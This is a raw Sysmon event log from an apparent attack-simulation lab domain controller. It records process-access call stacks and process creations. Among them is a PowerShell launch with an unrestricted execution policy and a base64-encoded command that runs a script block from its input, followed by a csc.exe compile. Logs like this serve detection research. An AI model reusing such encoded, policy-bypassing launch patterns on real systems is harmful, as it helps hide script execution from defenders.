09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E600-000000007F01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-2921-5F80-E500-000000007F01}46004592C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2921-5F80-E600-000000007F01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.892{A5F018FF-2921-5F80-E600-000000007F01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9CB8.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA2996FAB28B143818DDEFCF91B6F7327.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\dsk4kpgr.cmdline" 10341000x80000000000000004403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-2921-5F80-E300-000000007F01}13202784C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA907B68F) 154100x80000000000000004391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.802{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\dsk4kpgr.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000004390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.797{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\dsk4kpgr.cmdline2020-10-09 09:10:57.797 11241100x80000000000000004389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:57.797{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\dsk4kpgr.dll2020-10-09 09:10:57.797 10341000x80000000000000004388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E400-000000007F01}4540C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 